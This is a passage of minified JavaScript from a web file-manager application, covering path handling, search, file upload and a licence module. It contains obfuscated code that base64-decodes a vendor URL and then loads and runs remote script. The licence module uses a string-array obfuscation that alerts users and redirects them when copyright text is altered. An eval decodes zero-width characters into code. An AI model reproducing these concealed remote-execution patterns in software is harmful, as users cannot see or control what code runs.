d","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(i[0],t)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=''+i+"
",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,i){var t="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(t="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof i&&i(e.data.content)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a=" ";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(i&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n {{LNG.upload_clear_all}} \n {{LNG.upload_clear}} \n
\n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);
+0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+" ");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+" "+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(search_list_tpl);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&t.html(""+LNG.seach_result_too_more+" ")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,i,t){core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error))},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;i=core.fileSize(a)+"/s"}if(0==t.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+i+")")}d.find(".size").text(core.fileSize(t.length)),d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(upload_tpl),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var 